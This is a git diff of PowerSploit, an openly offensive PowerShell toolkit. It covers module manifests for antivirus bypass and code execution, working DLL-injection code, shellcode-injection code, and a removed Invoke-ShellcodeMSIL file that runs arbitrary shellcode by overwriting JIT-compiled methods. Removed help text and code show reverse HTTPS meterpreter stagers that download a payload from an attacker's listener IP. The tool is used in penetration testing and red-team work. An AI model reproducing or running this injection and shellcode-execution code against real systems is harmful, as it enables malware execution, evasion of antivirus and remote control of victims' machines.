## TODO: If you have NuGet Package Restore enabled, uncomment the next line
#packages/
# Windows Azure Build Output
csx
*.build.csdef
# Windows Store app package directory
AppPackages/
# Others
sql/
*.Cache
ClientBin/
[Ss]tyle[Cc]op.*
~$*
*~
*.dbmdl
*.[Pp]ublish.xml
*.pfx
*.publishsettings
# RIA/Silverlight projects
Generated_Code/
# Backup & report files from converting an old project file to a newer
# Visual Studio version. Backup files are not needed, because we have git ;-)
_UpgradeReport_Files/
Backup*/
UpgradeLog*.XML
UpgradeLog*.htm
# SQL Server files
App_Data/*.mdf
App_Data/*.ldf
#############
## Windows detritus
#############
# Windows image file caches
Thumbs.db
ehthumbs.db
# Folder config file
Desktop.ini
# Recycle Bin used on file shares
$RECYCLE.BIN/
# Mac crap
.DS_Store
#############
## Python
#############
*.py[co]
# Packages
*.egg
*.egg-info
dist/
build/
eggs/
parts/
var/
sdist/
develop-eggs/
.installed.cfg
# Installer logs
pip-log.txt
# Unit test / coverage reports
.coverage
.tox
#Translations
*.mo
#Mr Developer
.mr.developer.cfg
+3 -60
View File
@@ -1,10 +1,10 @@
@{
@{
# Script module or binary module file associated with this manifest.
ModuleToProcess = 'AntivirusBypass.psm1'
# Version number of this module.
ModuleVersion = '1.0.0.0'
ModuleVersion = '3.0.0.0'
# ID used to uniquely identify this module
GUID = '7cf9de61-2bfc-41b4-a397-9d7cf3a8e66b'
@@ -12,9 +12,6 @@ GUID = '7cf9de61-2bfc-41b4-a397-9d7cf3a8e66b'
# Author of this module
Author = 'Matthew Graeber'
# Company or vendor of this module
CompanyName = ''
# Copyright statement for this module
Copyright = 'BSD 3-Clause'
@@ -24,64 +21,10 @@ Description = 'PowerSploit Antivirus Avoidance/Bypass Module'
# Minimum version of the Windows PowerShell engine required by this module
PowerShellVersion = '2.0'
# Name of the Windows PowerShell host required by this module
# PowerShellHostName = ''
# Minimum version of the Windows PowerShell host required by this module
# PowerShellHostVersion = ''
# Minimum version of the .NET Framework required by this module
# DotNetFrameworkVersion = ''
# Minimum version of the common language runtime (CLR) required by this module
# CLRVersion = ''
# Processor architecture (None, X86, Amd64) required by this module
# ProcessorArchitecture = ''
# Modules that must be imported into the global environment prior to importing this module
# RequiredModules = @()
# Assemblies that must be loaded prior to importing this module
# RequiredAssemblies = @()
# Script files (.ps1) that are run in the caller's environment prior to importing this module.
# ScriptsToProcess = ''
# Type files (.ps1xml) to be loaded when importing this module
# TypesToProcess = @()
# Format files (.ps1xml) to be loaded when importing this module
# FormatsToProcess = @()
# Modules to import as nested modules of the module specified in RootModule/ModuleToProcess
# NestedModules = @()
# Functions to export from this module
FunctionsToExport = '*'
# Cmdlets to export from this module
CmdletsToExport = '*'
# Variables to export from this module
VariablesToExport = ''
# Aliases to export from this module
AliasesToExport = ''
# List of all modules packaged with this module.
ModuleList = @(@{ModuleName = 'AntivirusBypass'; ModuleVersion = '1.0.0.0'; GUID = '7cf9de61-2bfc-41b4-a397-9d7cf3a8e66b'})
# List of all files packaged with this module
FileList = 'AntivirusBypass.psm1', 'AntivirusBypass.psd1', 'Find-AVSignature.ps1', 'Usage.md'
# Private data to pass to the module specified in RootModule/ModuleToProcess
# PrivateData = ''
# HelpInfo URI of this module
# HelpInfoURI = ''
# Default prefix for commands exported from this module. Override the default prefix using Import-Module -Prefix.
# DefaultCommandPrefix = ''
}
}
+1 -1
View File
@@ -1 +1 @@
Get-ChildItem (Join-Path $PSScriptRoot *.ps1) | % { . $_.FullName}
Get-ChildItem (Join-Path $PSScriptRoot *.ps1) | % { . $_.FullName}
+1 -1
View File
@@ -183,4 +183,4 @@ http://heapoverflow.com/f0rums/project.php?issueid=34&filter=changes&page=2
#During testing using large binaries, memory usage was excessive so lets fix that
[System.GC]::Collect()
Write-Verbose "Completed!"
}
}
+4 -59
View File
@@ -1,10 +1,10 @@
@{
@{
# Script module or binary module file associated with this manifest.
ModuleToProcess = 'CodeExecution.psm1'
# Version number of this module.
ModuleVersion = '1.0.0.0'
ModuleVersion = '3.0.0.0'
# ID used to uniquely identify this module
GUID = 'a8a6780b-e694-4aa4-b28d-646afa66733c'
@@ -24,65 +24,10 @@ Description = 'PowerSploit Code Execution Module'
# Minimum version of the Windows PowerShell engine required by this module
PowerShellVersion = '2.0'
# Name of the Windows PowerShell host required by this module
# PowerShellHostName = ''
# Minimum version of the Windows PowerShell host required by this module
# PowerShellHostVersion = ''
# Minimum version of the .NET Framework required by this module
# DotNetFrameworkVersion = ''
# Minimum version of the common language runtime (CLR) required by this module
# CLRVersion = ''
# Processor architecture (None, X86, Amd64) required by this module
# ProcessorArchitecture = ''
# Modules that must be imported into the global environment prior to importing this module
# RequiredModules = @()
# Assemblies that must be loaded prior to importing this module
# RequiredAssemblies = @()
# Script files (.ps1) that are run in the caller's environment prior to importing this module.
# ScriptsToProcess = ''
# Type files (.ps1xml) to be loaded when importing this module
# TypesToProcess = @()
# Format files (.ps1xml) to be loaded when importing this module
# FormatsToProcess = @()
# Modules to import as nested modules of the module specified in RootModule/ModuleToProcess
# NestedModules = @()
# Functions to export from this module
FunctionsToExport = '*'
# Cmdlets to export from this module
CmdletsToExport = '*'
# Variables to export from this module
VariablesToExport = ''
# Aliases to export from this module
AliasesToExport = ''
# List of all modules packaged with this module.
ModuleList = @(@{ModuleName = 'CodeExecution'; ModuleVersion = '1.0.0.0'; GUID = 'a8a6780b-e694-4aa4-b28d-646afa66733c'})
# List of all files packaged with this module
FileList = 'CodeExecution.psm1', 'CodeExecution.psd1', 'Invoke-Shellcode.ps1', 'Invoke-DllInjection.ps1',
'Invoke-ShellcodeMSIL.ps1', 'Invoke-ReflectivePEInjection.ps1', 'Watch-BlueScreen.ps1', 'Usage.md'
# Private data to pass to the module specified in RootModule/ModuleToProcess
# PrivateData = ''
# HelpInfo URI of this module
# HelpInfoURI = ''
# Default prefix for commands exported from this module. Override the default prefix using Import-Module -Prefix.
# DefaultCommandPrefix = ''
}
'Invoke-ReflectivePEInjection.ps1', 'Invoke-WmiCommand.ps1', 'Usage.md'
}
+1 -1
View File
@@ -1 +1 @@
Get-ChildItem (Join-Path $PSScriptRoot *.ps1) | % { . $_.FullName}
Get-ChildItem (Join-Path $PSScriptRoot *.ps1) | % { . $_.FullName}
+27 -25
View File
@@ -25,7 +25,7 @@ Name of the dll to inject. This can be an absolute or relative path.
.EXAMPLE
C:\PS> Invoke-DllInjection -ProcessID 4274 -Dll evil.dll
Invoke-DllInjection -ProcessID 4274 -Dll evil.dll
Description
-----------
@@ -207,16 +207,13 @@ http://www.exploit-monday.com
$WriteProcessMemoryAddr = Get-ProcAddress kernel32.dll WriteProcessMemory
$WriteProcessMemoryDelegate = Get-DelegateType @([IntPtr], [IntPtr], [Byte[]], [UInt32], [UInt32].MakeByRefType()) ([Bool])
$WriteProcessMemory = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($WriteProcessMemoryAddr, $WriteProcessMemoryDelegate)
$CreateRemoteThreadAddr = Get-ProcAddress kernel32.dll CreateRemoteThread
$CreateRemoteThreadDelegate = Get-DelegateType @([IntPtr], [IntPtr], [UInt32], [IntPtr], [IntPtr], [UInt32], [IntPtr]) ([IntPtr])
$CreateRemoteThread = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($CreateRemoteThreadAddr, $CreateRemoteThreadDelegate)
$RtlCreateUserThreadAddr = Get-ProcAddress ntdll.dll RtlCreateUserThread
$RtlCreateUserThreadDelegate = Get-DelegateType @([IntPtr], [IntPtr], [Bool], [UInt32], [IntPtr], [IntPtr], [IntPtr], [IntPtr], [IntPtr], [IntPtr]) ([UInt32])
$RtlCreateUserThread = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($RtlCreateUserThreadAddr, $RtlCreateUserThreadDelegate)
$CloseHandleAddr = Get-ProcAddress kernel32.dll CloseHandle
$CloseHandleDelegate = Get-DelegateType @([IntPtr]) ([Bool])
$CloseHandle = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($CloseHandleAddr, $CloseHandleDelegate)
# Assume CPU to be 64-bit unless determined otherwise.
$64bitCPU = $True
# Determine the bitness of the running PowerShell process based upon the size of the IntPtr type.
if ([IntPtr]::Size -eq 4)
{
@@ -227,6 +224,12 @@ http://www.exploit-monday.com
$PowerShell32bit = $False
}
if (${Env:ProgramFiles(x86)}) {
$64bitOS = $True
} else {
$64bitOS = $False
}
# The address for IsWow64Process will be returned if and only if running on a 64-bit CPU. Otherwise, Get-ProcAddress will return $null.
$IsWow64ProcessAddr = Get-ProcAddress kernel32.dll IsWow64Process
@@ -235,23 +238,20 @@ http://www.exploit-monday.com
$IsWow64ProcessDelegate = Get-DelegateType @([IntPtr], [Bool].MakeByRefType()) ([Bool])
$IsWow64Process = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($IsWow64ProcessAddr, $IsWow64ProcessDelegate)
}
else
{
# IsWow64Process does not exist and thus, the CPU is not 64-bit.
$64bitCPU = $False
}
$Architecture = Get-PEArchitecture $Dll
Write-Verbose "Architecture of the dll to be injected: $Architecture"
# Open a handle to the process you want to inject into
$hProcess = $OpenProcess.Invoke(0x001F0FFF, $false, $ProcessID) # ProcessAccessFlags.All (0x001F0FFF)
if (!$hProcess)
{
THrow 'Unable to open process handle.'
Throw 'Unable to open process handle.'
}
$Architecture = Get-PEArchitecture $Dll
if ($64bitCPU) # Only perform theses checks if CPU is 64-bit
if ($64bitOS) # Only perform theses checks if OS is 64-bit
{
if ( ($Architecture -ne 'X86') -and ($Architecture -ne 'X64') )
{
@@ -293,7 +293,7 @@ http://www.exploit-monday.com
$RemoteMemAddr = $VirtualAllocEx.Invoke($hProcess, [IntPtr]::Zero, $Dll.Length, 0x3000, 4) # (0x3000 = Reserve|Commit, 4 = RW)
if ($RemoteMemAddr -eq [IntPtr]::Zero)
{
Throw 'Unable to allocate memory in remote process.'
Throw 'Unable to allocate memory in remote process. Try running PowerShell elevated.'
}
Write-Verbose "DLL path memory reserved at 0x$($RemoteMemAddr.ToString("X$([IntPtr]::Size*2)"))"
@@ -302,10 +302,10 @@ http://www.exploit-monday.com
Write-Verbose "Dll path written sucessfully."
# Execute dll as a remote thread
$ThreadHandle = $CreateRemoteThread.Invoke($hProcess, [IntPtr]::Zero, 0, $LoadLibraryAddr, $RemoteMemAddr, 0, [IntPtr]::Zero)
if (!$ThreadHandle)
$Result = $RtlCreateUserThread.Invoke($hProcess, [IntPtr]::Zero, $False, 0, [IntPtr]::Zero, [IntPtr]::Zero, $LoadLibraryAddr, $RemoteMemAddr, [IntPtr]::Zero, [IntPtr]::Zero)
if ($Result)
{
Throw 'Unable to launch remote thread.'
Throw "Unable to launch remote thread. NTSTATUS: 0x$($Result.ToString('X8'))"
}
$VirtualFreeEx.Invoke($hProcess, $RemoteMemAddr, $Dll.Length, 0x8000) | Out-Null # MEM_RELEASE (0x8000)
@@ -313,16 +313,18 @@ http://www.exploit-monday.com
# Close process handle
$CloseHandle.Invoke($hProcess) | Out-Null
Write-Verbose 'Dll injection complete!'
Start-Sleep -Seconds 2
# Extract just the filename from the provided path to the dll.
$FileName = Split-Path $Dll -Leaf
$DllInfo = (Get-Process -Id $ProcessID).Modules | ? { $_.FileName.Contains($FileName) } | fl * | Out-String
$FileName = (Split-Path $Dll -Leaf).ToLower()
$DllInfo = (Get-Process -Id $ProcessID).Modules | ? { $_.FileName.ToLower().Contains($FileName) }
if (!$DllInfo)
{
Throw "Dll did dot inject properly into the victim process."
}
Write-Verbose "Injected DLL information:$($DllInfo)"
}
Write-Verbose 'Dll injection complete!'
$DllInfo
}
File diff suppressed because it is too large Load Diff
+28 -228
View File
@@ -29,26 +29,6 @@ Process ID of the process you want to inject shellcode into.
Specifies an optional shellcode passed in as a byte array
.PARAMETER ListMetasploitPayloads
Lists all of the available Metasploit payloads that Invoke-Shellcode supports
.PARAMETER Lhost
Specifies the IP address of the attack machine waiting to receive the reverse shell
.PARAMETER Lport
Specifies the port of the attack machine waiting to receive the reverse shell
.PARAMETER Payload
Specifies the metasploit payload to use. Currently, only 'windows/meterpreter/reverse_http' and 'windows/meterpreter/reverse_https' payloads are supported.
.PARAMETER UserAgent
Optionally specifies the user agent to use when using meterpreter http or https payloads
.PARAMETER Force
Injects shellcode without prompting for confirmation. By default, Invoke-Shellcode prompts for confirmation before performing any malicious act.
@@ -71,76 +51,12 @@ Inject shellcode into the running instance of PowerShell.
.EXAMPLE
C:\PS> Start-Process C:\Windows\SysWOW64\notepad.exe -WindowStyle Hidden
C:\PS> $Proc = Get-Process notepad
C:\PS> Invoke-Shellcode -ProcessId $Proc.Id -Payload windows/meterpreter/reverse_https -Lhost 192.168.30.129 -Lport 443 -Verbose
VERBOSE: Requesting meterpreter payload from https://192.168.30.129:443/INITM
VERBOSE: Injecting shellcode into PID: 4004
VERBOSE: Injecting into a Wow64 process.
VERBOSE: Using 32-bit shellcode.
VERBOSE: Shellcode memory reserved at 0x03BE0000
VERBOSE: Emitting 32-bit assembly call stub.
VERBOSE: Thread call stub memory reserved at 0x001B0000
VERBOSE: Shellcode injection complete!
Description
-----------
Establishes a reverse https meterpreter payload from within the hidden notepad process. A multi-handler was set up with the following options:
Payload options (windows/meterpreter/reverse_https):
Name Current Setting Required Description
---- --------------- -------- -----------
EXITFUNC thread yes Exit technique: seh, thread, process, none
LHOST 192.168.30.129 yes The local listener hostname
LPORT 443 yes The local listener port
.EXAMPLE
C:\PS> Invoke-Shellcode -Payload windows/meterpreter/reverse_https -Lhost 192.168.30.129 -Lport 80
Description
-----------
Establishes a reverse http meterpreter payload from within the running PwerShell process. A multi-handler was set up with the following options:
Payload options (windows/meterpreter/reverse_http):
Name Current Setting Required Description
---- --------------- -------- -----------
EXITFUNC thread yes Exit technique: seh, thread, process, none
LHOST 192.168.30.129 yes The local listener hostname
LPORT 80 yes The local listener port
.EXAMPLE
C:\PS> Invoke-Shellcode -Shellcode @(0x90,0x90,0xC3)
Description
-----------
Overrides the shellcode included in the script with custom shellcode - 0x90 (NOP), 0x90 (NOP), 0xC3 (RET)
Warning: This script has no way to validate that your shellcode is 32 vs. 64-bit!
.EXAMPLE
C:\PS> Invoke-Shellcode -ListMetasploitPayloads
Payloads
--------
windows/meterpreter/reverse_http
windows/meterpreter/reverse_https
.NOTES
Use the '-Verbose' option to print detailed information.
Place your generated shellcode in $Shellcode32 and $Shellcode64 variables or pass it in as a byte array via the '-Shellcode' parameter
Big thanks to Oisin (x0n) Grehan (@oising) for answering all my obscure questions at the drop of a hat - http://www.nivot.org/
.LINK
http://www.exploit-monday.com
#>
[CmdletBinding( DefaultParameterSetName = 'RunLocal', SupportsShouldProcess = $True , ConfirmImpact = 'High')] Param (
@@ -153,53 +69,11 @@ http://www.exploit-monday.com
[Byte[]]
$Shellcode,
[Parameter( ParameterSetName = 'Metasploit' )]
[ValidateSet( 'windows/meterpreter/reverse_http',
'windows/meterpreter/reverse_https',
IgnoreCase = $True )]
[String]
$Payload = 'windows/meterpreter/reverse_http',
[Parameter( ParameterSetName = 'ListPayloads' )]
[Switch]
$ListMetasploitPayloads,
[Parameter( Mandatory = $True,
ParameterSetName = 'Metasploit' )]
[ValidateNotNullOrEmpty()]
[String]
$Lhost = '127.0.0.1',
[Parameter( Mandatory = $True,
ParameterSetName = 'Metasploit' )]
[ValidateRange( 1,65535 )]
[Int]
$Lport = 8443,
[Parameter( ParameterSetName = 'Metasploit' )]
[ValidateNotNull()]
[String]
$UserAgent = 'Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)',
[Switch]
$Force = $False
)
Set-StrictMode -Version 2.0
# List all available Metasploit payloads and exit the function
if ($PsCmdlet.ParameterSetName -eq 'ListPayloads')
{
$AvailablePayloads = (Get-Command Invoke-Shellcode).Parameters['Payload'].Attributes |
Where-Object {$_.TypeId -eq [System.Management.Automation.ValidateSetAttribute]}
foreach ($Payload in $AvailablePayloads.ValidValues)
{
New-Object PSObject -Property @{ Payloads = $Payload }
}
Return
}
if ( $PSBoundParameters['ProcessID'] )
{
@@ -319,14 +193,14 @@ http://www.exploit-monday.com
$IsWow64 = $false
if ($64bitCPU) # Only perform theses checks if CPU is 64-bit
if ($64bitOS) # Only perform theses checks if CPU is 64-bit
{
# Determine is the process specified is 32 or 64 bit
# Determine if the process specified is 32 or 64 bit
$IsWow64Process.Invoke($hProcess, [Ref] $IsWow64) | Out-Null
if ((!$IsWow64) -and $PowerShell32bit)
{
Throw 'Unable to inject 64-bit shellcode from within 32-bit Powershell. Use the 64-bit version of Powershell if you want this to work.'
Throw 'Shellcode injection targeting a 64-bit process from 32-bit PowerShell is not supported. Use the 64-bit version of Powershell if you want this to work.'
}
elseif ($IsWow64) # 32-bit Wow64 process
{
@@ -501,16 +375,30 @@ http://www.exploit-monday.com
# A valid pointer to IsWow64Process will be returned if CPU is 64-bit
$IsWow64ProcessAddr = Get-ProcAddress kernel32.dll IsWow64Process
if ($IsWow64ProcessAddr)
{
$IsWow64ProcessDelegate = Get-DelegateType @([IntPtr], [Bool].MakeByRefType()) ([Bool])
$IsWow64Process = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($IsWow64ProcessAddr, $IsWow64ProcessDelegate)
$64bitCPU = $true
$AddressWidth = $null
try {
$AddressWidth = @(Get-WmiObject -Query 'SELECT AddressWidth FROM Win32_Processor')[0] | Select-Object -ExpandProperty AddressWidth
} catch {
throw 'Unable to determine OS processor address width.'
}
else
{
$64bitCPU = $false
switch ($AddressWidth) {
'32' {
$64bitOS = $False
}
'64' {
$64bitOS = $True
$IsWow64ProcessDelegate = Get-DelegateType @([IntPtr], [Bool].MakeByRefType()) ([Bool])
$IsWow64Process = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($IsWow64ProcessAddr, $IsWow64ProcessDelegate)
}
default {
throw 'Invalid OS address width detected.'
}
}
if ([IntPtr]::Size -eq 4)
@@ -522,94 +410,7 @@ http://www.exploit-monday.com
$PowerShell32bit = $false
}
if ($PsCmdlet.ParameterSetName -eq 'Metasploit')
{
if (!$PowerShell32bit) {
# The currently supported Metasploit payloads are 32-bit. This block of code implements the logic to execute this script from 32-bit PowerShell
# Get this script's contents and pass it to 32-bit powershell with the same parameters passed to this function
# Pull out just the content of the this script's invocation.
$RootInvocation = $MyInvocation.Line
$Response = $True
if ( $Force -or ( $Response = $psCmdlet.ShouldContinue( "Do you want to launch the payload from x86 Powershell?",
"Attempt to execute 32-bit shellcode from 64-bit Powershell. Note: This process takes about one minute. Be patient! You will also see some artifacts of the script loading in the other process." ) ) ) { }
if ( !$Response )
{
# User opted not to launch the 32-bit payload from 32-bit PowerShell. Exit function
Return
}
# Since the shellcode will run in a noninteractive instance of PowerShell, make sure the -Force switch is included so that there is no warning prompt.
if ($MyInvocation.BoundParameters['Force'])
{
Write-Verbose "Executing the following from 32-bit PowerShell: $RootInvocation"
$Command = "function $($MyInvocation.InvocationName) {`n" + $MyInvocation.MyCommand.ScriptBlock + "`n}`n$($RootInvocation)`n`n"
}
else
{
Write-Verbose "Executing the following from 32-bit PowerShell: $RootInvocation -Force"
$Command = "function $($MyInvocation.InvocationName) {`n" + $MyInvocation.MyCommand.ScriptBlock + "`n}`n$($RootInvocation) -Force`n`n"
}
$CommandBytes = [System.Text.Encoding]::Ascii.GetBytes($Command)
$EncodedCommand = [Convert]::ToBase64String($CommandBytes)
$Execute = '$Command' + " | $Env:windir\SysWOW64\WindowsPowerShell\v1.0\powershell.exe -NoProfile -Command -"
Invoke-Expression -Command $Execute | Out-Null
# Exit the script since the shellcode will be running from x86 PowerShell
Return
}
$Response = $True
if ( $Force -or ( $Response = $psCmdlet.ShouldContinue( "Do you know what you're doing?",
"About to download Metasploit payload '$($Payload)' LHOST=$($Lhost), LPORT=$($Lport)" ) ) ) { }
if ( !$Response )
{
# User opted not to carry out download of Metasploit payload. Exit function
Return
}
switch ($Payload)
{
'windows/meterpreter/reverse_http'
{
$SSL = ''
}
'windows/meterpreter/reverse_https'
{
$SSL = 's'
# Accept invalid certificates
[System.Net.ServicePointManager]::ServerCertificateValidationCallback = { $true }
}
}
# Meterpreter expects 'INITM' in the URI in order to initiate stage 0. Awesome authentication, huh?
$Request = "http$($SSL)://$($Lhost):$($Lport)/INITM"
Write-Verbose "Requesting meterpreter payload from $Request"
$Uri = New-Object Uri($Request)
$WebClient = New-Object System.Net.WebClient
$WebClient.Headers.Add('user-agent', "$UserAgent")
try
{
[Byte[]] $Shellcode32 = $WebClient.DownloadData($Uri)
}
catch
{
Throw "$($Error[0].Exception.InnerException.InnerException.Message)"
}
[Byte[]] $Shellcode64 = $Shellcode32
}
elseif ($PSBoundParameters['Shellcode'])
if ($PSBoundParameters['Shellcode'])
{
# Users passing in shellcode through the '-Shellcode' parameter are responsible for ensuring it targets
# the correct architechture - x86 vs. x64. This script has no way to validate what you provide it.
@@ -708,6 +509,5 @@ http://www.exploit-monday.com
{
Inject-LocalShellcode
}
}
}
}
-267
View File
@@ -1,267 +0,0 @@
function Invoke-ShellcodeMSIL
{
<#
.SYNOPSIS
Execute shellcode within the context of the running PowerShell process without making any Win32 function calls.
PowerSploit Function: Invoke-ShellcodeMSIL
Author: Matthew Graeber (@mattifestation)
License: BSD 3-Clause
Required Dependencies: None
Optional Dependencies: None
.DESCRIPTION
Invoke-ShellcodeMSIL executes shellcode by using specially crafted MSIL opcodes to overwrite a JITed dummy method. This technique is compelling because unlike Invoke-Shellcode, Invoke-ShellcodeMSIL doesn't call any Win32 functions.
.PARAMETER Shellcode
Specifies the shellcode to be executed.
.EXAMPLE
C:\PS> Invoke-Shellcode -Shellcode @(0x90,0x90,0xC3)
Description
-----------
Executes the following instructions - 0x90 (NOP), 0x90 (NOP), 0xC3 (RET)
Warning: This script has no way to validate that your shellcode is 32 vs. 64-bit!
.NOTES
Your shellcode must end in a ret (0xC3) and maintain proper stack alignment or PowerShell will crash!
Use the '-Verbose' option to print detailed information.
.LINK
http://www.exploit-monday.com
#>
[CmdletBinding()] Param (
[Parameter( Mandatory = $True )]
[ValidateNotNullOrEmpty()]
[Byte[]]
$Shellcode
)
function Get-MethodAddress
{
[CmdletBinding()] Param (
[Parameter(Mandatory = $True, ValueFromPipeline = $True)]
[System.Reflection.MethodInfo]
$MethodInfo
)
if ($MethodInfo.MethodImplementationFlags -eq 'InternalCall')
{
Write-Warning "$($MethodInfo.Name) is an InternalCall method. These methods always point to the same address."
}
try { $Type = [MethodLeaker] } catch [Management.Automation.RuntimeException] # Only build the assembly if it hasn't already been defined
{
if ([IntPtr]::Size -eq 4) { $ReturnType = [UInt32] } else { $ReturnType = [UInt64] }
$Domain = [AppDomain]::CurrentDomain
$DynAssembly = New-Object System.Reflection.AssemblyName('MethodLeakAssembly')
# Assemble in memory
$AssemblyBuilder = $Domain.DefineDynamicAssembly($DynAssembly, [System.Reflection.Emit.AssemblyBuilderAccess]::Run)
$ModuleBuilder = $AssemblyBuilder.DefineDynamicModule('MethodLeakModule')
$TypeBuilder = $ModuleBuilder.DefineType('MethodLeaker', [System.Reflection.TypeAttributes]::Public)
# Declaration of the LeakMethod method
$MethodBuilder = $TypeBuilder.DefineMethod('LeakMethod', [System.Reflection.MethodAttributes]::Public -bOr [System.Reflection.MethodAttributes]::Static, $ReturnType, $null)
$Generator = $MethodBuilder.GetILGenerator()
# Push unmanaged pointer to MethodInfo onto the evaluation stack
$Generator.Emit([System.Reflection.Emit.OpCodes]::Ldftn, $MethodInfo)
$Generator.Emit([System.Reflection.Emit.OpCodes]::Ret)
# Assemble everything
$Type = $TypeBuilder.CreateType()
}
$Method = $Type.GetMethod('LeakMethod')
try
{
# Call the method and return its JITed address
$Address = $Method.Invoke($null, @())
Write-Output (New-Object IntPtr -ArgumentList $Address)
}
catch [System.Management.Automation.MethodInvocationException]
{
Write-Error "$($MethodInfo.Name) cannot return an unmanaged address."
}
}
#region Define the method that will perform the overwrite
try { $SmasherType = [MethodSmasher] } catch [Management.Automation.RuntimeException] # Only build the assembly if it hasn't already been defined
{
$Domain = [AppDomain]::CurrentDomain
$DynAssembly = New-Object System.Reflection.AssemblyName('MethodSmasher')
$AssemblyBuilder = $Domain.DefineDynamicAssembly($DynAssembly, [System.Reflection.Emit.AssemblyBuilderAccess]::Run)
$Att = New-Object System.Security.AllowPartiallyTrustedCallersAttribute
$Constructor = $Att.GetType().GetConstructors()[0]
$ObjectArray = New-Object System.Object[](0)
$AttribBuilder = New-Object System.Reflection.Emit.CustomAttributeBuilder($Constructor, $ObjectArray)
$AssemblyBuilder.SetCustomAttribute($AttribBuilder)
$ModuleBuilder = $AssemblyBuilder.DefineDynamicModule('MethodSmasher')
$ModAtt = New-Object System.Security.UnverifiableCodeAttribute
$Constructor = $ModAtt.GetType().GetConstructors()[0]
$ObjectArray = New-Object System.Object[](0)
$ModAttribBuilder = New-Object System.Reflection.Emit.CustomAttributeBuilder($Constructor, $ObjectArray)
$ModuleBuilder.SetCustomAttribute($ModAttribBuilder)
$TypeBuilder = $ModuleBuilder.DefineType('MethodSmasher', [System.Reflection.TypeAttributes]::Public)
$Params = New-Object System.Type[](3)
$Params[0] = [IntPtr]
$Params[1] = [IntPtr]
$Params[2] = [Int32]
$MethodBuilder = $TypeBuilder.DefineMethod('OverwriteMethod', [System.Reflection.MethodAttributes]::Public -bOr [System.Reflection.MethodAttributes]::Static, $null, $Params)
$Generator = $MethodBuilder.GetILGenerator()
# The following MSIL opcodes are effectively a memcpy
# arg0 = destinationAddr, arg1 = sourceAddr, arg2 = length
$Generator.Emit([System.Reflection.Emit.OpCodes]::Ldarg_0)
$Generator.Emit([System.Reflection.Emit.OpCodes]::Ldarg_1)
$Generator.Emit([System.Reflection.Emit.OpCodes]::Ldarg_2)
$Generator.Emit([System.Reflection.Emit.OpCodes]::Volatile)
$Generator.Emit([System.Reflection.Emit.OpCodes]::Cpblk)
$Generator.Emit([System.Reflection.Emit.OpCodes]::Ret)
$SmasherType = $TypeBuilder.CreateType()
}
$OverwriteMethod = $SmasherType.GetMethod('OverwriteMethod')
#endregion
#region Define the method that we're going to overwrite
try { $Type = [SmashMe] } catch [Management.Automation.RuntimeException] # Only build the assembly if it hasn't already been defined
{
$Domain = [AppDomain]::CurrentDomain
$DynAssembly = New-Object System.Reflection.AssemblyName('SmashMe')
$AssemblyBuilder = $Domain.DefineDynamicAssembly($DynAssembly, [System.Reflection.Emit.AssemblyBuilderAccess]::Run)
$Att = New-Object System.Security.AllowPartiallyTrustedCallersAttribute
$Constructor = $Att.GetType().GetConstructors()[0]
$ObjectArray = New-Object System.Object[](0)
$AttribBuilder = New-Object System.Reflection.Emit.CustomAttributeBuilder($Constructor, $ObjectArray)
$AssemblyBuilder.SetCustomAttribute($AttribBuilder)
$ModuleBuilder = $AssemblyBuilder.DefineDynamicModule('SmashMe')
$ModAtt = New-Object System.Security.UnverifiableCodeAttribute
$Constructor = $ModAtt.GetType().GetConstructors()[0]
$ObjectArray = New-Object System.Object[](0)
$ModAttribBuilder = New-Object System.Reflection.Emit.CustomAttributeBuilder($Constructor, $ObjectArray)
$ModuleBuilder.SetCustomAttribute($ModAttribBuilder)
$TypeBuilder = $ModuleBuilder.DefineType('SmashMe', [System.Reflection.TypeAttributes]::Public)
$Params = New-Object System.Type[](1)
$Params[0] = [Int]
$MethodBuilder = $TypeBuilder.DefineMethod('OverwriteMe', [System.Reflection.MethodAttributes]::Public -bOr [System.Reflection.MethodAttributes]::Static, [Int], $Params)
$Generator = $MethodBuilder.GetILGenerator()
$XorValue = 0x41424344
$Generator.DeclareLocal([Int]) | Out-Null
$Generator.Emit([System.Reflection.Emit.OpCodes]::Ldarg_0)
# The following MSIL opcodes serve two purposes:
# 1) Serves as a dummy XOR function to take up space in memory when it gets jitted
# 2) A series of XOR instructions won't be optimized out. This way, I'll be guaranteed to sufficient space for my shellcode.
foreach ($CodeBlock in 1..100)
{
$Generator.Emit([System.Reflection.Emit.OpCodes]::Ldc_I4, $XorValue)
$Generator.Emit([System.Reflection.Emit.OpCodes]::Xor)
$Generator.Emit([System.Reflection.Emit.OpCodes]::Stloc_0)
$Generator.Emit([System.Reflection.Emit.OpCodes]::Ldloc_0)
$XorValue++
}
$Generator.Emit([System.Reflection.Emit.OpCodes]::Ldc_I4, $XorValue)
$Generator.Emit([System.Reflection.Emit.OpCodes]::Xor)
$Generator.Emit([System.Reflection.Emit.OpCodes]::Ret)
$Type = $TypeBuilder.CreateType()
}
$TargetMethod = $Type.GetMethod('OverwriteMe')
#endregion
# Force the target method to be JITed so that is can be cleanly overwritten
Write-Verbose 'Forcing target method to be JITed...'
foreach ($Exec in 1..20)
{
$TargetMethod.Invoke($null, @(0x11112222)) | Out-Null
}
if ( [IntPtr]::Size -eq 4 )
{
# x86 Shellcode stub
$FinalShellcode = [Byte[]] @(0x60,0xE8,0x04,0,0,0,0x61,0x31,0xC0,0xC3)
<#
00000000 60 pushad
00000001 E804000000 call dword 0xa
00000006 61 popad
00000007 31C0 xor eax,eax
00000009 C3 ret
YOUR SHELLCODE WILL BE PLACED HERE...
#>
Write-Verbose 'Preparing x86 shellcode...'
}
else
{
# x86_64 shellcode stub
$FinalShellcode = [Byte[]] @(0x41,0x54,0x41,0x55,0x41,0x56,0x41,0x57,
0x55,0xE8,0x0D,0x00,0x00,0x00,0x5D,0x41,
0x5F,0x41,0x5E,0x41,0x5D,0x41,0x5C,0x48,
0x31,0xC0,0xC3)
<#
00000000 4154 push r12
00000002 4155 push r13
00000004 4156 push r14
00000006 4157 push r15
00000008 55 push rbp
00000009 E80D000000 call dword 0x1b
0000000E 5D pop rbp
0000000F 415F pop r15
00000011 415E pop r14
00000013 415D pop r13
00000015 415C pop r12
00000017 4831C0 xor rax,rax
